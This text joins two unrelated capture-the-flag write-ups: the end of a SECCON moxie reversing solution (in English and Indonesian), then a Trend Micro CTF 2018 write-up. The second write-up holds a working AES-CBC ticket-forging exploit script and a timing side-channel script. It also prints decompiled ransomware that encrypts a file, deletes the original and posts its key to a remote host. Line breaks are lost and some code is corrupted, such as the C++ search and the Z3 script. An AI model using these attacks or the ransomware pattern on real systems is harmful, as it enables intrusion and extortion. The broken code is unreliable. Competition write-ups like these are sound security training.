SEED\n\n"0x13aa: 19 80 jsr $r60x13ac: 01 20 ldi.l $r0, 0x10x13b2: 01 30 ldi.l $r1, "GETRAND: (Opcode:0x17)\n"0x13b8: 19 80 jsr $r60x13ba: 01 20 ldi.l $r0, 0x10x13c0: 01 30 ldi.l $r1, " xorshift32(SEED) -> SEED\n"0x13c6: 19 80 jsr $r60x13c8: 01 20 ldi.l $r0, 0x10x13ce: 01 30 ldi.l $r1, " SEED -> RegA\n\n"0x13d4: 19 80 jsr $r60x13d6: 01 20 ldi.l $r0, flag0x13dc: 01 30 ldi.l $r1, randval0x13e2: 03 00 jsra decode0x13e8: 02 32 mov $r1, $r00x13ea: 01 20 ldi.l $r0, 0x10x13f0: 19 80 jsr $r60x13f2: 01 20 ldi.l $r0, 0x10x13f8: 01 30 ldi.l $r1, "\n"0x13fe: 19 80 jsr $r60x1400: 2e 22 xor $r0, $r00x1402: 03 00 jsra exit function decode0x136c: 06 18 push $sp, $r60x136e: 06 19 push $sp, $r70x1370: 06 1a push $sp, $r80x1372: 06 1b push $sp, $r90x1374: 06 1c push $sp, $r100x1376: 06 1d push $sp, $r110x1378: 91 18 dec $sp, 0x240x137a: 02 d2 mov $r11, $r00x137c: 1c 42 ld.b $r2, ($r0)0x137e: 2e 22 xor $r0, $r00x1380: 0e 42 cmp $r2, $r00x1382: c0 12 beq 0x???0x1384: 02 a3 mov $r8, $r10x1386: 02 9d mov $r7, $r110x1388: 01 c0 ldi.l $r10, get_random_value0x138e: 1c 8a ld.b $r6, ($r8)0x1390: 2e 22 xor $r0, $r00x1392: 19 c0 jsr $r100x1394: 2e 82 xor $r6, $r00x1396: 1c 29 ld.b $r0, ($r7)0x1398: 2e 82 xor $r6, $r00x139a: 1e 98 st.b ($r7), $r60x139c: 89 01 inc $r7, 0x10x139e: 8a 01 inc $r8, 0x10x13a0: 1c 39 ld.b $r1, ($r7)0x13a2: 2e 22 xor $r0, $r00x13a4: 0e 32 cmp $r1, $r00x13a6: c7 f3 bne 0x???0x13a8: 02 2d mov $r0, $r110x13aa: 02 e0 mov $r12, $fp0x13ac: 9e 18 dec $r12, 0x240x13ae: 07 ed pop $r12, $r110x13b0: 07 ec pop $r12, $r100x13b2: 07 eb pop $r12, $r90x13b4: 07 ea pop $r12, $r80x13b6: 07 e9 pop $r12, $r70x13b8: 07 e8 pop $r12, $r60x13ba: 04 00 ret function set_random_seed0x136c: 16 20 ???0x136e: 04 00 ret function get_random_value0x136c: 17 20 ???0x136e: 04 00 ret flag: 6d72c3e2cf95549db6ac0384c3c23593c3d77ce2ddd4ac5e99c9a534de064e00randval: 3d05dc31d18aaf2996facb1b01ece2f715706cf47ea19e0e01f9c24cbaa0a108``` The pseudocode roughly looks like this.```pythonflag = "6d72c3e2cf95549db6ac0384c3c23593c3d77ce2ddd4ac5e99c9a534de064e00"randval = "3d05dc31d18aaf2996facb1b01ece2f715706cf47ea19e0e01f9c24cbaa0a108"def main(): set_random_seed(0x92d68ca2) puts("...") puts(decode(flag, randval)) def decode(flag, randval): i = 0 while flag[i]: flag[i] ^= randval[i] ^ get_random_value() i += 1 return flag``` Function `set_random_seed` and `get_random_value` are compiled with special instructions. From strings inside the binary, we know that:```SETRSEED: (Opcode:0x16) RegA -> SEEDGETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA``` We tried several `xorshift32` implementations (there are many variants in the internet), then we got the flag using this script.```pythonimport numpy as np state = np.uint32(0x92d68ca2)def xorshift(): global state state ^= np.uint32(state << 13); state ^= np.uint32(state >> 17); state ^= np.uint32(state << 15); return np.uint32(state); flag = "6d72c3e2cf95549db6ac0384c3c23593c3d77ce2ddd4ac5e99c9a534de064e00".decode("hex")r = "3d05dc31d18aaf2996facb1b01ece2f715706cf47ea19e0e01f9c24cbaa0a108".decode("hex") s = ""for i, c in enumerate(flag): if c == "\x00": break xorshift() s += chr((ord(c) ^ ord(r[i]) ^ state) & 0xff)print s``` Flag: `SECCON{MakeSpecialInstructions}` ## Bahasa IndonesiaKami diberikan sebuah file ELF 32-bit dengan arsitektur yang tidak diketahui.```sh$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7berunme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped``` Dengan menggunakan `strings`, kita mendapatkan bahwa arsitekturnya adalah `moxie`.```sh$ strings runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be,.U70123456789abcdefThis program uses special instructions.SETRSEED: (Opcode:0x16) RegA -> SEEDGETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegAGCC: (GNU) 4.9.4moxie-elf.c...``` Kami tidak dapat melakukan disassemble dengan `objdump` atau `IDA`, sehingga kami memutuskan untuk membuat sendiri [disassembler-nya](disas_moxie.py) dengan membaca [dokumentasi ini](http://moxielogic.org/blog/pages/architecture.html).```$ python disas_moxie.pyfunction main0x136c: 06 18 push $sp, $r60x136e: 91 18 dec $sp, 0x240x1370: 01 20 ldi.l $r0, 0x92d68ca20x1376: 03 00 jsra set_random_seed0x137c: 01 80 ldi.l $r6, puts0x1382: 01 20 ldi.l $r0, 0x10x1388: 01 30 ldi.l $r1, "This program uses special instructions.\n\n"0x138e: 19 80 jsr $r60x1390: 01 20 ldi.l $r0, 0x10x1396: 01 30 ldi.l $r1, "SETRSEED: (Opcode:0x16)\n"0x139c: 19 80 jsr $r60x139e: 01 20 ldi.l $r0, 0x10x13a4: 01 30 ldi.l $r1, " RegA -> SEED\n\n"0x13aa: 19 80 jsr $r60x13ac: 01 20 ldi.l $r0, 0x10x13b2: 01 30 ldi.l $r1, "GETRAND: (Opcode:0x17)\n"0x13b8: 19 80 jsr $r60x13ba: 01 20 ldi.l $r0, 0x10x13c0: 01 30 ldi.l $r1, " xorshift32(SEED) -> SEED\n"0x13c6: 19 80 jsr $r60x13c8: 01 20 ldi.l $r0, 0x10x13ce: 01 30 ldi.l $r1, " SEED -> RegA\n\n"0x13d4: 19 80 jsr $r60x13d6: 01 20 ldi.l $r0, flag0x13dc: 01 30 ldi.l $r1, randval0x13e2: 03 00 jsra decode0x13e8: 02 32 mov $r1, $r00x13ea: 01 20 ldi.l $r0, 0x10x13f0: 19 80 jsr $r60x13f2: 01 20 ldi.l $r0, 0x10x13f8: 01 30 ldi.l $r1, "\n"0x13fe: 19 80 jsr $r60x1400: 2e 22 xor $r0, $r00x1402: 03 00 jsra exit function decode0x136c: 06 18 push $sp, $r60x136e: 06 19 push $sp, $r70x1370: 06 1a push $sp, $r80x1372: 06 1b push $sp, $r90x1374: 06 1c push $sp, $r100x1376: 06 1d push $sp, $r110x1378: 91 18 dec $sp, 0x240x137a: 02 d2 mov $r11, $r00x137c: 1c 42 ld.b $r2, ($r0)0x137e: 2e 22 xor $r0, $r00x1380: 0e 42 cmp $r2, $r00x1382: c0 12 beq 0x???0x1384: 02 a3 mov $r8, $r10x1386: 02 9d mov $r7, $r110x1388: 01 c0 ldi.l $r10, get_random_value0x138e: 1c 8a ld.b $r6, ($r8)0x1390: 2e 22 xor $r0, $r00x1392: 19 c0 jsr $r100x1394: 2e 82 xor $r6, $r00x1396: 1c 29 ld.b $r0, ($r7)0x1398: 2e 82 xor $r6, $r00x139a: 1e 98 st.b ($r7), $r60x139c: 89 01 inc $r7, 0x10x139e: 8a 01 inc $r8, 0x10x13a0: 1c 39 ld.b $r1, ($r7)0x13a2: 2e 22 xor $r0, $r00x13a4: 0e 32 cmp $r1, $r00x13a6: c7 f3 bne 0x???0x13a8: 02 2d mov $r0, $r110x13aa: 02 e0 mov $r12, $fp0x13ac: 9e 18 dec $r12, 0x240x13ae: 07 ed pop $r12, $r110x13b0: 07 ec pop $r12, $r100x13b2: 07 eb pop $r12, $r90x13b4: 07 ea pop $r12, $r80x13b6: 07 e9 pop $r12, $r70x13b8: 07 e8 pop $r12, $r60x13ba: 04 00 ret function set_random_seed0x136c: 16 20 ???0x136e: 04 00 ret function get_random_value0x136c: 17 20 ???0x136e: 04 00 ret flag: 6d72c3e2cf95549db6ac0384c3c23593c3d77ce2ddd4ac5e99c9a534de064e00randval: 3d05dc31d18aaf2996facb1b01ece2f715706cf47ea19e0e01f9c24cbaa0a108``` Pseudocode-nya kira-kira seperti ini.```pythonflag = "6d72c3e2cf95549db6ac0384c3c23593c3d77ce2ddd4ac5e99c9a534de064e00"randval = "3d05dc31d18aaf2996facb1b01ece2f715706cf47ea19e0e01f9c24cbaa0a108"def main(): set_random_seed(0x92d68ca2) puts("...") puts(decode(flag, randval)) def decode(flag, randval): i = 0 while flag[i]: flag[i] ^= randval[i] ^ get_random_value() i += 1 return flag``` Fungsi `set_random_seed` dan `get_random_value` dikompilasi dengan instruksi spesial. Dari string di dalam binary, kita mendapat hint bahwa:```SETRSEED: (Opcode:0x16) RegA -> SEEDGETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA``` Kami mencoba beberapa implementasi `xorshift32` (di internet ada beberapa varian fungsi tersebut), kemudian kami mendapat flag dengan script ini.```pythonimport numpy as np state = np.uint32(0x92d68ca2)def xorshift(): global state state ^= np.uint32(state << 13); state ^= np.uint32(state >> 17); state ^= np.uint32(state << 15); return np.uint32(state); flag = "6d72c3e2cf95549db6ac0384c3c23593c3d77ce2ddd4ac5e99c9a534de064e00".decode("hex")r = "3d05dc31d18aaf2996facb1b01ece2f715706cf47ea19e0e01f9c24cbaa0a108".decode("hex") s = ""for i, c in enumerate(flag): if c == "\x00": break xorshift() s += chr((ord(c) ^ ord(r[i]) ^ state) & 0xff)print s``` Flag: `SECCON{MakeSpecialInstructions}`
# Trend Micro CTF 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.** - [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3) ## Analysis-Offensive ### 200 We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`. According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge. So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script: ```pythonimport subprocessimport string flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}` ### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422 Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import * ... g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N) def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg)) decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}` ### 400 ACME Protocol We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability. First, our objective is obvious: run `getflag` as `admin` ```4.6 COMMAND (Message Type 0x06) Message Format: Client -> Server: 0x06 | Ticket | Command Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message. Processing: The server executes the following algorithm upon receipt: Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = “whoami”: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = “getflag”: If G contains the string “admin”: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)``` Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login. Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST: ```4.1 LOGON_REQUEST (Message Type 0x01) Message format: Client -> Server: 0x01 | U Explanation: The client sends this message to the server to initiate authentication with username U. Processing: The server executes the following algorithm upon receipt: Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)``` Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`. It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce? Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce! The idea is simple: we'll let the server encrypt the following payload: ```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding``` and we'll truncate the first block. Here is the attack script: ```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64 def send(s): sock.send(s) print(f'[<-send] {s}') def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999)) payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6 #0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()``` I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated. In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge. ## Reversing-Binary ### 100 (sces60107) 1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs) def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs) id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16))) key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16))) iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1) def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt) fin.close() fout.close() os.remove(infile) callbk() else: return def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n fin.close() os.remove(encfile) break def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join() if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs) id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16))) key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16))) iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}` ### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag. ### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1 ### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text. Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption: ```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l]) def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ... pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:] # guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1) m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}` ## Forensics-Crypto2 ### 100 (sces60107) I will finish these part of writeup in my free time QQ ### 200 (sces60107) 1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this![](https://i.imgur.com/Us1VVbq.png)4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}` ### 300 We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project. It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506` ## Reversing-Other ### 100, 200 (sces60107) I will finish these part of writeup in my free time QQ ### 400 (sces60107) 1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import * s=Solver() flag=[] for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0) summ=0 for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[] for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval) for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1 for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}``` ## Misc ### 100```shell$ binwalk EATME.pdf DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL 